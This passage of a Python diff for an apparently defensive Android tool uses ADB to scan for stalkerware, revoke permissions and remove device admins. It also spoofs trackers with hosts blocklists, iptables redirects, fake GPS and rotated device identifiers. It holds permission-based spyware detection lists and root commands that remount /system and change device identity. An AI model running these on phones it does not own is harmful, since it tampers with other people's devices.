'com.huawei.', 'com.qualcomm.', + ) + + dangerous_perms = [ + 'CAMERA', 'RECORD_AUDIO', 'ACCESS_FINE_LOCATION', + 'READ_SMS', 'READ_CONTACTS', 'READ_CALL_LOG', + 'READ_EXTERNAL_STORAGE', 'BIND_ACCESSIBILITY_SERVICE', + 'SYSTEM_ALERT_WINDOW', 'READ_PHONE_STATE', + 'ACCESS_BACKGROUND_LOCATION', 'RECEIVE_BOOT_COMPLETED', + ] + + matrix = [] + for pkg in sorted(installed): + if any(pkg.startswith(p) for p in system_prefixes): + continue + stdout, _, rc = self._adb_shell( + f'dumpsys package {pkg} | grep -E "android.permission.({"|".join(dangerous_perms)})"', + serial=serial, timeout=10) + if rc != 0 or not stdout.strip(): + continue + + app_perms = set() + for line in stdout.split('\n'): + for perm in dangerous_perms: + if perm in line and 'granted=true' in line: + app_perms.add(perm) + + if app_perms: + matrix.append({ + 'package': pkg, + 'permissions': {p: p in app_perms for p in dangerous_perms}, + 'count': len(app_perms), + }) + + matrix.sort(key=lambda x: x['count'], reverse=True) + return {'matrix': matrix, 'permission_names': dangerous_perms, + 'app_count': len(matrix)} + + # ── Remediation ───────────────────────────────────────────────── + + def disable_threat(self, serial, package): + """Disable a stalkerware package.""" + stdout, stderr, rc = self._adb_shell( + f'pm disable-user --user 0 {package}', serial=serial) + if rc == 0: + return {'ok': True, 'message': f'{package} disabled'} + return {'ok': False, 'error': stderr or stdout} + + def uninstall_threat(self, serial, package): + """Uninstall a stalkerware package.""" + stdout, stderr, rc = self._adb_shell( + f'pm uninstall --user 0 {package}', serial=serial, timeout=30) + if rc == 0 and 'Success' in stdout: + return {'ok': True, 'message': f'{package} uninstalled'} + # Try without --user flag + stdout, stderr, rc = self._adb_shell( + f'pm uninstall {package}', serial=serial, timeout=30) + if rc == 0 and 'Success' in stdout: + return {'ok': True, 'message': f'{package} uninstalled'} + return {'ok': False, 'error': stderr or stdout} + + def revoke_dangerous_perms(self, serial, package): + """Revoke all dangerous permissions from a package.""" + dangerous = [ + 'READ_SMS', 'SEND_SMS', 'RECEIVE_SMS', + 'READ_CONTACTS', 'WRITE_CONTACTS', + 'READ_CALL_LOG', 'WRITE_CALL_LOG', + 'CAMERA', 'RECORD_AUDIO', + 'ACCESS_FINE_LOCATION', 'ACCESS_COARSE_LOCATION', + 'ACCESS_BACKGROUND_LOCATION', + 'READ_PHONE_STATE', 'CALL_PHONE', + 'READ_EXTERNAL_STORAGE', 'WRITE_EXTERNAL_STORAGE', + ] + revoked = [] + failed = [] + for perm in dangerous: + full = f'android.permission.{perm}' + _, stderr, rc = self._adb_shell( + f'pm revoke {package} {full}', serial=serial) + if rc == 0: + revoked.append(perm) + else: + if 'not a changeable permission type' not in (stderr or ''): + failed.append(perm) + return {'revoked': revoked, 'failed': failed, 'package': package} + + def remove_device_admin(self, serial, package): + """Remove device admin before uninstall.""" + # Try to find the admin receiver component + stdout, _, _ = self._adb_shell( + f'dumpsys device_policy | grep {package}', + serial=serial, timeout=10) + component = None + for line in stdout.split('\n'): + m = re.search(r'(\S+/\S+)', line) + if m and package in m.group(1): + component = m.group(1) + break + + if component: + _, stderr, rc = self._adb_shell( + f'dpm remove-active-admin {component}', serial=serial) + if rc == 0: + return {'ok': True, 'message': f'Removed admin: {component}'} + return {'ok': False, 'error': stderr} + + # Fallback: try package/DeviceAdminReceiver + _, stderr, rc = self._adb_shell( + f'dpm remove-active-admin {package}/.DeviceAdminReceiver', + serial=serial) + if rc == 0: + return {'ok': True, 'message': f'Removed admin: {package}'} + return {'ok': False, 'error': 'Could not find device admin component'} + + def remove_ca_cert(self, serial, cert_hash): + """Remove a user-installed CA cert.""" + path = f'/data/misc/user/0/cacerts-added/{cert_hash}' + _, stderr, rc = self._adb_shell( + f'rm {path}', serial=serial) + if rc == 0: + return {'ok': True, 'message': f'Removed cert {cert_hash}'} + return {'ok': False, 'error': stderr or 'Failed to remove cert (may need root)'} + + def clear_proxy(self, serial): + """Remove proxy settings.""" + results = [] + for setting in ('http_proxy', 'global_http_proxy_host', + 'global_http_proxy_port', 'global_http_proxy_exclusion_list'): + _, stderr, rc = self._adb_shell( + f'settings put global {setting} :0' if setting == 'http_proxy' + else f'settings delete global {setting}', + serial=serial) + results.append({'setting': setting, 'ok': rc == 0}) + return {'results': results} + + def disable_usb_debug(self, serial): + """Turn off USB debugging.""" + _, stderr, rc = self._adb_shell( + 'settings put global adb_enabled 0', serial=serial) + return {'ok': rc == 0, + 'message': 'USB debugging disabled' if rc == 0 else stderr} + + # ── Full Scans ────────────────────────────────────────────────── + + def quick_scan(self, serial): + """Fast scan: stalkerware + device admins + accessibility only.""" + results = { + 'type': 'quick', + 'serial': serial, + 'timestamp': datetime.now().isoformat(), + } + results['stalkerware'] = self.scan_stalkerware(serial) + results['device_admins'] = self.scan_device_admins(serial) + results['accessibility'] = self.scan_accessibility_services(serial) + + # Summary + threats = len(results['stalkerware'].get('found', [])) + suspicious_admins = sum( + 1 for a in results['device_admins'].get('admins', []) + if a.get('suspicious')) + bad_a11y = sum( + 1 for s in results['accessibility'].get('services', []) + if s.get('status') == 'malicious') + + results['summary'] = { + 'threats_found': threats + suspicious_admins + bad_a11y, + 'stalkerware': threats, + 'suspicious_admins': suspicious_admins, + 'malicious_accessibility': bad_a11y, + } + return results + + def full_protection_scan(self, serial): + """Run ALL scans, return comprehensive report.""" + results = { + 'type': 'full', + 'serial': serial, + 'timestamp': datetime.now().isoformat(), + } + + results['stalkerware'] = self.scan_stalkerware(serial) + results['hidden_apps'] = self.scan_hidden_apps(serial) + results['device_admins'] = self.scan_device_admins(serial) + results['accessibility'] = self.scan_accessibility_services(serial) + results['notification_listeners'] = self.scan_notification_listeners(serial) + results['usage_access'] = self.scan_usage_access(serial) + results['spyware_indicators'] = self.scan_spyware_indicators(serial) + results['system_integrity'] = self.scan_system_integrity(serial) + results['suspicious_processes'] = self.scan_suspicious_processes(serial) + results['certificates'] = self.scan_certificates(serial) + results['network_config'] = self.scan_network_config(serial) + results['developer_options'] = self.scan_developer_options(serial) + results['dangerous_apps'] = self.find_dangerous_apps(serial) + + # Summary + total_threats = 0 + total_threats += len(results['stalkerware'].get('found', [])) + total_threats += results['spyware_indicators'].get('count', 0) + total_threats += sum( + 1 for a in results['device_admins'].get('admins', []) + if a.get('suspicious')) + total_threats += sum( + 1 for s in results['accessibility'].get('services', []) + if s.get('status') == 'malicious') + total_threats += sum( + 1 for l in results['notification_listeners'].get('listeners', []) + if l.get('suspicious')) + total_threats += results['suspicious_processes'].get('count', 0) + total_threats += results['certificates'].get('count', 0) + + integrity_ok = results['system_integrity'].get('ok_count', 0) + integrity_total = results['system_integrity'].get('total', 0) + + results['summary'] = { + 'threats_found': total_threats, + 'system_integrity': f'{integrity_ok}/{integrity_total}', + 'hidden_apps': results['hidden_apps'].get('count', 0), + 'dangerous_apps': results['dangerous_apps'].get('count', 0), + 'user_ca_certs': results['certificates'].get('count', 0), + } + + return results + + def export_scan_report(self, serial, scan_result=None): + """Save scan report as JSON file.""" + if scan_result is None: + scan_result = self.full_protection_scan(serial) + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + fname = f'scan_{ts}.json' + fpath = self._scans_dir(serial) / fname + with open(fpath, 'w') as f: + json.dump(scan_result, f, indent=2, default=str) + return {'ok': True, 'path': str(fpath), 'filename': fname} + + # ── Tracking Honeypot ────────────────────────────────────────── + + # -- Honeypot Helpers -- + + def _load_tracker_domains(self): + """Lazy-load tracker domain database.""" + if self._tracker_db is not None: + return self._tracker_db + if not self._tracker_path.exists(): + self._tracker_db = {} + return self._tracker_db + try: + with open(self._tracker_path, 'r') as f: + self._tracker_db = json.load(f) + except (json.JSONDecodeError, OSError): + self._tracker_db = {} + return self._tracker_db + + def _check_root(self, serial): + """Check if device has root (su) access.""" + stdout, _, rc = self._adb_shell('su -c id', serial=serial, timeout=10) + return rc == 0 and 'uid=0' in stdout + + def _load_honeypot_config(self, serial): + """Load per-device honeypot state.""" + cfg_path = self._device_dir(serial) / 'honeypot_config.json' + if not cfg_path.exists(): + return {'active': False, 'tier': 0, 'protections': {}} + try: + with open(cfg_path, 'r') as f: + return json.load(f) + except (json.JSONDecodeError, OSError): + return {'active': False, 'tier': 0, 'protections': {}} + + def _save_honeypot_config(self, serial, config): + """Save per-device honeypot state.""" + cfg_path = self._device_dir(serial) / 'honeypot_config.json' + with open(cfg_path, 'w') as f: + json.dump(config, f, indent=2) + + def generate_hosts_content(self): + """Generate hosts-file blocklist from all tracker domains.""" + db = self._load_tracker_domains() + domains = set() + for cat in db.get('categories', {}).values(): + domains.update(cat.get('domains', [])) + for company in db.get('companies', {}).values(): + domains.update(company.get('domains', [])) + lines = ['# AUTARCH Tracking Honeypot Blocklist', + f'# Generated {datetime.now().isoformat()}', + f'# {len(domains)} domains blocked', + '127.0.0.1 localhost', + '::1 localhost'] + for d in sorted(domains): + lines.append(f'127.0.0.1 {d}') + return '\n'.join(lines) + '\n' + + # -- Status & Detection -- + + def honeypot_status(self, serial): + """Report honeypot status for a device.""" + config = self._load_honeypot_config(serial) + result = { + 'active': config.get('active', False), + 'tier': config.get('tier', 0), + 'protections': config.get('protections', {}), + } + # Quick live checks + stdout, _, _ = self._adb_shell( + 'settings get secure limit_ad_tracking', serial=serial, timeout=5) + result['ad_tracking_limited'] = stdout.strip() == '1' + + stdout, _, _ = self._adb_shell( + 'settings get global private_dns_mode', serial=serial, timeout=5) + result['private_dns_mode'] = stdout.strip() or 'off' + + stdout, _, _ = self._adb_shell( + 'settings get global private_dns_specifier', serial=serial, timeout=5) + result['private_dns_host'] = stdout.strip() if stdout.strip() != 'null' else '' + + return result + + def scan_tracker_apps(self, serial): + """Match installed packages against known tracker packages.""" + db = self._load_tracker_domains() + tracker_pkgs = db.get('tracker_packages', []) + installed = self._get_installed_packages(serial) + if not installed: + return {'error': 'Could not list packages', 'found': [], 'total': 0} + + found = [] + for pkg in installed: + for tracker in tracker_pkgs: + if pkg.startswith(tracker) or pkg == tracker: + found.append(pkg) + break + + # Also check company-specific tracker packages + for company, data in db.get('companies', {}).items(): + for tpkg in data.get('tracker_packages', []): + for pkg in installed: + if pkg.startswith(tpkg) and pkg not in found: + found.append(pkg) + + return {'found': sorted(found), 'count': len(found), + 'total': len(installed)} + + def scan_tracker_permissions(self, serial): + """Find non-system apps with tracking-related permissions.""" + db = self._load_tracker_domains() + tracking_perms = db.get('tracking_permissions', [ + 'ACCESS_FINE_LOCATION', 'ACCESS_COARSE_LOCATION', + 'READ_PHONE_STATE', 'AD_ID', + ]) + installed = self._get_installed_packages(serial) + system_prefixes = ( + 'com.android.', 'com.google.android.', 'android.', + 'com.samsung.', 'com.huawei.', 'com.qualcomm.', + ) + + results = [] + for pkg in installed: + if any(pkg.startswith(p) for p in system_prefixes): + continue + stdout, _, rc = self._adb_shell( + f'dumpsys package {pkg} | grep "android.permission"', + serial=serial, timeout=10) + if rc != 0 or not stdout: + continue + matched = [] + for perm in tracking_perms: + full_perm = f'android.permission.{perm}' + if full_perm in stdout and 'granted=true' in stdout.split(full_perm)[-1][:50]: + matched.append(perm) + if matched: + results.append({'package': pkg, 'permissions': matched}) + + results.sort(key=lambda x: len(x['permissions']), reverse=True) + return {'apps': results, 'count': len(results)} + + def get_advertising_id(self, serial): + """Read the device advertising ID.""" + stdout, _, rc = self._adb_shell( + 'settings get secure advertising_id', serial=serial, timeout=5) + ad_id = stdout.strip() + if ad_id == 'null' or not ad_id: + ad_id = 'Not set' + return {'advertising_id': ad_id} + + def get_tracking_settings(self, serial): + """Read all tracking-related device settings.""" + settings = {} + checks = [ + ('limit_ad_tracking', 'secure', 'Ad tracking limited'), + ('advertising_id', 'secure', 'Advertising ID'), + ] + for setting, namespace, desc in checks: + stdout, _, _ = self._adb_shell( + f'settings get {namespace} {setting}', + serial=serial, timeout=5) + val = stdout.strip() + settings[setting] = { + 'value': val if val and val != 'null' else 'Not set', + 'description': desc, + } + + # Location mode + stdout, _, _ = self._adb_shell( + 'settings get secure location_mode', serial=serial, timeout=5) + settings['location_mode'] = { + 'value': stdout.strip() or 'unknown', + 'description': 'Location mode (3=high accuracy)', + } + + # Private DNS + stdout, _, _ = self._adb_shell( + 'settings get global private_dns_mode', serial=serial, timeout=5) + settings['private_dns_mode'] = { + 'value': stdout.strip() or 'off', + 'description': 'Private DNS mode', + } + + # WiFi scanning + stdout, _, _ = self._adb_shell( + 'settings get global wifi_scan_always_enabled', + serial=serial, timeout=5) + settings['wifi_scanning'] = { + 'value': 'enabled' if stdout.strip() == '1' else 'disabled', + 'description': 'WiFi background scanning', + } + + # BT scanning + stdout, _, _ = self._adb_shell( + 'settings get global ble_scan_always_enabled', + serial=serial, timeout=5) + settings['bt_scanning'] = { + 'value': 'enabled' if stdout.strip() == '1' else 'disabled', + 'description': 'Bluetooth background scanning', + } + + # Usage diagnostics + stdout, _, _ = self._adb_shell( + 'settings get global send_action_app_error', + serial=serial, timeout=5) + settings['diagnostics'] = { + 'value': 'enabled' if stdout.strip() == '1' else 'disabled', + 'description': 'Usage & diagnostics reporting', + } + + return settings + + # -- Tier 1: ADB (no root required) -- + + def reset_advertising_id(self, serial): + """Reset Google Advertising ID.""" + # Delete existing ad ID + _, _, rc1 = self._adb_shell( + 'settings delete secure advertising_id', serial=serial) + # Send broadcast to GMS to regenerate + _, _, rc2 = self._adb_shell( + 'am broadcast -a com.google.android.gms.ads.identifier.service.RESET', + serial=serial) + # Also try content provider approach + self._adb_shell( + 'content call --uri content://com.google.android.gms.ads.identifier ' + '--method resetAdvertisingId', + serial=serial, timeout=5) + return {'ok': True, 'message': 'Advertising ID reset requested'} + + def opt_out_ad_tracking(self, serial): + """Enable limit_ad_tracking opt-out.""" + _, _, rc = self._adb_shell( + 'settings put secure limit_ad_tracking 1', serial=serial) + if rc == 0: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['ad_opt_out'] = True + self._save_honeypot_config(serial, config) + return {'ok': True, 'message': 'Ad tracking opt-out enabled'} + return {'ok': False, 'error': 'Failed to set limit_ad_tracking'} + + def set_private_dns(self, serial, provider): + """Set private DNS to an ad-blocking provider.""" + db = self._load_tracker_domains() + providers = db.get('dns_providers', {}) + if provider not in providers: + return {'ok': False, + 'error': f'Unknown provider: {provider}. ' + f'Available: {", ".join(providers.keys())}'} + hostname = providers[provider]['hostname'] + # Set DNS mode + _, _, rc1 = self._adb_shell( + 'settings put global private_dns_mode hostname', + serial=serial) + # Set DNS hostname + _, _, rc2 = self._adb_shell( + f'settings put global private_dns_specifier {hostname}', + serial=serial) + if rc1 == 0 and rc2 == 0: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['private_dns'] = provider + self._save_honeypot_config(serial, config) + return {'ok': True, 'message': f'Private DNS set to {hostname}', + 'provider': provider} + return {'ok': False, 'error': 'Failed to set private DNS'} + + def clear_private_dns(self, serial): + """Revert private DNS to system default (opportunistic).""" + _, _, rc = self._adb_shell( + 'settings put global private_dns_mode opportunistic', + serial=serial) + self._adb_shell( + 'settings delete global private_dns_specifier', serial=serial) + if rc == 0: + config = self._load_honeypot_config(serial) + config.get('protections', {}).pop('private_dns', None) + self._save_honeypot_config(serial, config) + return {'ok': True, 'message': 'Private DNS reverted to default'} + return {'ok': False, 'error': 'Failed to clear private DNS'} + + def disable_location_accuracy(self, serial): + """Disable WiFi and Bluetooth background scanning.""" + results = [] + _, _, rc1 = self._adb_shell( + 'settings put global wifi_scan_always_enabled 0', serial=serial) + results.append({'setting': 'wifi_scanning', 'ok': rc1 == 0}) + _, _, rc2 = self._adb_shell( + 'settings put global ble_scan_always_enabled 0', serial=serial) + results.append({'setting': 'bt_scanning', 'ok': rc2 == 0}) + if rc1 == 0 and rc2 == 0: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['location_accuracy'] = True + self._save_honeypot_config(serial, config) + return {'ok': rc1 == 0 and rc2 == 0, 'results': results} + + def disable_usage_diagnostics(self, serial): + """Turn off usage & diagnostics reporting.""" + _, _, rc1 = self._adb_shell( + 'settings put global send_action_app_error 0', serial=serial) + _, _, rc2 = self._adb_shell( + 'settings put secure send_action_app_error 0', serial=serial) + if rc1 == 0: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['diagnostics'] = True + self._save_honeypot_config(serial, config) + return {'ok': rc1 == 0, 'message': 'Usage diagnostics disabled'} + + # -- Tier 2: Shizuku-level -- + + def restrict_app_background(self, serial, package): + """Restrict an app's background activity.""" + results = [] + _, _, rc1 = self._adb_shell( + f'cmd appops set {package} RUN_IN_BACKGROUND deny', + serial=serial) + results.append({'op': 'RUN_IN_BACKGROUND', 'ok': rc1 == 0}) + _, _, rc2 = self._adb_shell( + f'cmd appops set {package} RUN_ANY_IN_BACKGROUND deny', + serial=serial) + results.append({'op': 'RUN_ANY_IN_BACKGROUND', 'ok': rc2 == 0}) + return {'ok': rc1 == 0, 'package': package, 'results': results} + + def revoke_tracker_permissions(self, serial, package): + """Revoke tracking-related permissions from an app.""" + db = self._load_tracker_domains() + tracking_perms = db.get('tracking_permissions', [ + 'ACCESS_FINE_LOCATION', 'ACCESS_COARSE_LOCATION', + 'ACCESS_BACKGROUND_LOCATION', 'READ_PHONE_STATE', + 'GET_ACCOUNTS', 'READ_CONTACTS', 'READ_CALL_LOG', + ]) + revoked = [] + failed = [] + for perm in tracking_perms: + full = f'android.permission.{perm}' + _, stderr, rc = self._adb_shell( + f'pm revoke {package} {full}', serial=serial) + if rc == 0: + revoked.append(perm) + elif 'not a changeable permission' not in (stderr or ''): + failed.append(perm) + return {'revoked': revoked, 'failed': failed, 'package': package} + + def clear_app_tracking_data(self, serial, package): + """Clear tracking data for an app (cache + storage).""" + _, _, rc = self._adb_shell( + f'pm clear {package}', serial=serial, timeout=15) + if rc == 0: + return {'ok': True, 'message': f'Cleared all data for {package}'} + # Fallback: reset appops + _, _, rc2 = self._adb_shell( + f'cmd appops reset {package}', serial=serial) + return {'ok': rc2 == 0, + 'message': f'Reset appops for {package}' if rc2 == 0 + else f'Failed to clear data for {package}'} + + def force_stop_trackers(self, serial): + """Force-stop all known tracker packages found on device.""" + db = self._load_tracker_domains() + tracker_pkgs = set(db.get('tracker_packages', [])) + for company in db.get('companies', {}).values(): + tracker_pkgs.update(company.get('tracker_packages', [])) + installed = self._get_installed_packages(serial) + + stopped = [] + for pkg in installed: + for tracker in tracker_pkgs: + if pkg.startswith(tracker) or pkg == tracker: + _, _, rc = self._adb_shell( + f'am force-stop {pkg}', serial=serial, timeout=5) + if rc == 0: + stopped.append(pkg) + break + return {'stopped': stopped, 'count': len(stopped)} + + # -- Tier 3: Root -- + + def deploy_hosts_blocklist(self, serial): + """Deploy tracker-blocking hosts file (requires root).""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + # Backup existing hosts + self._adb_shell( + 'su -c "cp /system/etc/hosts /data/local/tmp/hosts.bak"', + serial=serial) + # Generate and push blocklist + content = self.generate_hosts_content() + tmp_path = self._device_dir(serial) / 'hosts_blocklist' + with open(tmp_path, 'w') as f: + f.write(content) + # Push to device temp location + self._adb(['push', str(tmp_path), '/data/local/tmp/hosts_new'], + serial=serial, timeout=30) + # Mount rw, copy, mount ro + stdout, _, rc = self._adb_shell( + 'su -c "' + 'mount -o remount,rw /system 2>/dev/null; ' + 'cp /data/local/tmp/hosts_new /system/etc/hosts && ' + 'chmod 644 /system/etc/hosts && ' + 'mount -o remount,ro /system 2>/dev/null; ' + 'echo DONE"', + serial=serial, timeout=15) + success = 'DONE' in stdout + if success: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['hosts_blocklist'] = True + self._save_honeypot_config(serial, config) + domain_count = content.count('\n') - 5 # minus header lines + return {'ok': True, + 'message': f'Hosts blocklist deployed ({domain_count} domains)'} + return {'ok': False, 'error': 'Failed to deploy hosts file'} + + def remove_hosts_blocklist(self, serial): + """Restore original hosts file.""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + stdout, _, rc = self._adb_shell( + 'su -c "' + 'mount -o remount,rw /system 2>/dev/null; ' + 'if [ -f /data/local/tmp/hosts.bak ]; then ' + 'cp /data/local/tmp/hosts.bak /system/etc/hosts; ' + 'else echo 127.0.0.1 localhost > /system/etc/hosts; fi; ' + 'chmod 644 /system/etc/hosts && ' + 'mount -o remount,ro /system 2>/dev/null; ' + 'echo DONE"', + serial=serial, timeout=15) + success = 'DONE' in stdout + if success: + config = self._load_honeypot_config(serial) + config.get('protections', {}).pop('hosts_blocklist', None) + self._save_honeypot_config(serial, config) + return {'ok': success, + 'message': 'Hosts file restored' if success + else 'Failed to restore hosts'} + + def get_hosts_status(self, serial): + """Check current hosts file status.""" + stdout, _, rc = self._adb_shell( + 'wc -l /system/etc/hosts 2>/dev/null && ' + 'head -3 /system/etc/hosts 2>/dev/null', + serial=serial, timeout=5) + is_blocklist = 'AUTARCH' in stdout + lines = stdout.strip().split('\n') + line_count = 0 + if lines and lines[0]: + try: + line_count = int(lines[0].split()[0]) + except (ValueError, IndexError): + pass + return {'line_count': line_count, 'is_blocklist': is_blocklist, + 'header': '\n'.join(lines[1:4]) if len(lines) > 1 else ''} + + def setup_iptables_redirect(self, serial, port=9040): + """Redirect tracker traffic through local proxy via iptables.""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + db = self._load_tracker_domains() + # Get a subset of high-priority tracker IPs to redirect + # We redirect DNS queries and HTTP(S) for tracker domains + cmds = [ + f'iptables -t nat -N AUTARCH_HONEYPOT 2>/dev/null', + f'iptables -t nat -F AUTARCH_HONEYPOT', + f'iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 80 -j REDIRECT --to-port {port}', + f'iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -j REDIRECT --to-port {port}', + f'iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner 0 -j AUTARCH_HONEYPOT', + ] + cmd_str = ' && '.join(cmds) + stdout, _, rc = self._adb_shell( + f'su -c "{cmd_str}"', serial=serial, timeout=15) + if rc == 0: + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['iptables_redirect'] = port + self._save_honeypot_config(serial, config) + return {'ok': True, + 'message': f'Traffic redirect active on port {port}'} + return {'ok': False, 'error': f'iptables setup failed: {stdout}'} + + def clear_iptables_redirect(self, serial): + """Remove iptables redirect rules.""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + stdout, _, rc = self._adb_shell( + 'su -c "' + 'iptables -t nat -D OUTPUT -p tcp -m owner ! --uid-owner 0 ' + '-j AUTARCH_HONEYPOT 2>/dev/null; ' + 'iptables -t nat -F AUTARCH_HONEYPOT 2>/dev/null; ' + 'iptables -t nat -X AUTARCH_HONEYPOT 2>/dev/null; ' + 'echo DONE"', + serial=serial, timeout=10) + if 'DONE' in stdout: + config = self._load_honeypot_config(serial) + config.get('protections', {}).pop('iptables_redirect', None) + self._save_honeypot_config(serial, config) + return {'ok': 'DONE' in stdout, + 'message': 'iptables rules cleared' if 'DONE' in stdout + else 'Failed to clear iptables'} + + def set_fake_location(self, serial, lat, lon): + """Set fake GPS location for tracker apps (requires root).""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + # Enable mock locations + self._adb_shell( + 'settings put secure allow_mock_location 1', serial=serial) + # Send fake location to Shield app receiver + self._adb_shell( + f'am broadcast -a com.autarch.shield.FAKE_LOCATION ' + f'--ef lat {lat} --ef lon {lon} ' + f'-n com.autarch.shield/.LocationReceiver', + serial=serial) + # Also set via system property for root-level spoofing + self._adb_shell( + f'su -c "setprop persist.autarch.fake_lat {lat}"', + serial=serial) + self._adb_shell( + f'su -c "setprop persist.autarch.fake_lon {lon}"', + serial=serial) + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['fake_location'] = { + 'lat': lat, 'lon': lon} + self._save_honeypot_config(serial, config) + return {'ok': True, 'message': f'Fake location set: {lat}, {lon}'} + + def set_random_fake_location(self, serial): + """Pick a random famous location from templates.""" + db = self._load_tracker_domains() + locations = db.get('fake_data_templates', {}).get('locations', []) + if not locations: + return {'ok': False, 'error': 'No location templates available'} + loc = random.choice(locations) + result = self.set_fake_location(serial, loc['lat'], loc['lon']) + result['location_name'] = loc.get('name', 'Unknown') + return result + + def clear_fake_location(self, serial): + """Disable fake location.""" + self._adb_shell( + 'settings put secure allow_mock_location 0', serial=serial) + self._adb_shell( + 'su -c "setprop persist.autarch.fake_lat \"\""', + serial=serial) + self._adb_shell( + 'su -c "setprop persist.autarch.fake_lon \"\""', + serial=serial) + config = self._load_honeypot_config(serial) + config.get('protections', {}).pop('fake_location', None) + self._save_honeypot_config(serial, config) + return {'ok': True, 'message': 'Fake location cleared'} + + def rotate_device_identity(self, serial): + """Randomize device identifiers (requires root).""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + changes = [] + # Randomize android_id + new_id = ''.join(random.choices('0123456789abcdef', k=16)) + _, _, rc = self._adb_shell( + f'settings put secure android_id {new_id}', serial=serial) + changes.append({'setting': 'android_id', 'value': new_id, 'ok': rc == 0}) + # Reset advertising ID + self._adb_shell( + 'settings delete secure advertising_id', serial=serial) + changes.append({'setting': 'advertising_id', 'value': 'reset', 'ok': True}) + # Randomize SSAID if possible + new_ssaid = ''.join(random.choices('0123456789abcdef', k=16)) + _, _, rc = self._adb_shell( + f'su -c "settings put secure android_id {new_id}"', + serial=serial) + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['identity_rotated'] = True + config['protections']['last_rotation'] = datetime.now().isoformat() + self._save_honeypot_config(serial, config) + return {'ok': True, 'changes': changes, + 'message': f'Device identity rotated (new ID: {new_id[:8]}...)'} + + def generate_fake_fingerprint(self, serial): + """Set fake device model/manufacturer props (requires root).""" + if not self._check_root(serial): + return {'ok': False, 'error': 'Root access required'} + db = self._load_tracker_domains() + models = db.get('fake_data_templates', {}).get('device_models', [ + 'Samsung Galaxy S25 Ultra', 'Google Pixel 9 Pro', + 'iPhone 16 Pro Max', + ]) + model = random.choice(models) + # Parse brand/model + parts = model.split(' ', 1) + brand = parts[0] + model_name = parts[1] if len(parts) > 1 else model + + changes = [] + props = { + 'ro.product.model': model_name, + 'ro.product.brand': brand, + 'ro.product.manufacturer': brand, + 'ro.product.device': model_name.lower().replace(' ', '_'), + } + for prop, val in props.items(): + _, _, rc = self._adb_shell( + f'su -c "setprop {prop} \'{val}\'"', serial=serial) + changes.append({'prop': prop, 'value': val, 'ok': rc == 0}) + + config = self._load_honeypot_config(serial) + config.setdefault('protections', {})['fake_fingerprint'] = model + self._save_honeypot_config(serial, config) + return {'ok': True, 'model': model, 'changes': changes, + 'message': f'Device now reports as {model}'} + + # -- Composite Actions -- + + def honeypot_activate(self, serial, tier=1): + """Activate honeypot protections up to the specified tier.""" + results = {'tier': tier, 'actions': []} + + # Tier 1 — always applied + r = self.reset_advertising_id(serial) + results['actions'].append({'name': 'Reset Ad ID', 'result': r}) + r = self.opt_out_ad_tracking(serial) + results['actions'].append({'name': 'Opt Out Ad Tracking', 'result': r}) + r = self.disable_location_accuracy(serial) + results['actions'].append({'name': 'Disable Location Scanning', 'result': r}) + r = self.disable_usage_diagnostics(serial) + results['actions'].append({'name': 'Disable Diagnostics', 'result': r}) + # Set DNS to AdGuard by default + r = self.set_private_dns(serial, 'adguard') + results['actions'].append({'name': 'Set Ad-Blocking DNS', 'result': r}) + + # Tier 2 — stop trackers + if tier >= 2: + r = self.force_stop_trackers(serial) + results['actions'].append({'name': 'Force Stop Trackers', 'result': r}) + + # Tier 3 — root + if tier >= 3: + r = self.deploy_hosts_blocklist(serial) + results['actions'].append({'name': 'Deploy Hosts Blocklist', 'result': r}) + r = self.set_random_fake_location(serial) + results['actions'].append({'name': 'Set Fake Location', 'result': r}) + r = self.rotate_device_identity(serial) + results['actions'].append({'name': 'Rotate Identity', 'result': r}) + r = self.generate_fake_fingerprint(serial) + results['actions'].append({'name': 'Fake Fingerprint', 'result': r}) + + config = self._load_honeypot_config(serial) + config['active'] = True + config['tier'] = tier + config['activated_at'] = datetime.now().isoformat() + self._save_honeypot_config(serial, config) + + ok_count = sum(1 for a in results['actions'] + if a['result'].get('ok', False)) + results['summary'] = f'{ok_count}/{len(results["actions"])} protections applied' + return results + + def honeypot_deactivate(self, serial): + """Undo all active honeypot protections.""" + config = self._load_honeypot_config(serial) + protections = config.get('protections', {}) + results = {'actions': []} + + # Revert DNS + if 'private_dns' in protections: + r = self.clear_private_dns(serial) + results['actions'].append({'name': 'Clear DNS', 'result': r}) + + # Re-enable ad tracking (user's original choice) + if protections.get('ad_opt_out'): + self._adb_shell( + 'settings put secure limit_ad_tracking 0', serial=serial) + results['actions'].append({ + 'name': 'Re-enable Ad Tracking', + 'result': {'ok': True}}) + + # Re-enable scanning + if protections.get('location_accuracy'): + self._adb_shell( + 'settings put global wifi_scan_always_enabled 1', + serial=serial) + self._adb_shell( + 'settings put global ble_scan_always_enabled 1', + serial=serial) + results['actions'].append({ + 'name': 'Re-enable Location Scanning', + 'result': {'ok': True}}) + + # Re-enable diagnostics + if protections.get('diagnostics'): + self._adb_shell( + 'settings put global send_action_app_error 1', + serial=serial) + results['actions'].append({ + 'name': 'Re-enable Diagnostics', + 'result': {'ok': True}}) + + # Root: remove hosts blocklist + if protections.get('hosts_blocklist'): + r = self.remove_hosts_blocklist(serial) + results['actions'].append({'name': 'Remove Hosts Blocklist', 'result': r}) + + # Root: clear iptables + if 'iptables_redirect' in protections: + r = self.clear_iptables_redirect(serial) + results['actions'].append({'name': 'Clear iptables', 'result': r}) + + # Root: clear fake location + if 'fake_location' in protections: + r = self.clear_fake_location(serial) + results['actions'].append({'name': 'Clear Fake Location', 'result': r}) + + # Reset config + config['active'] = 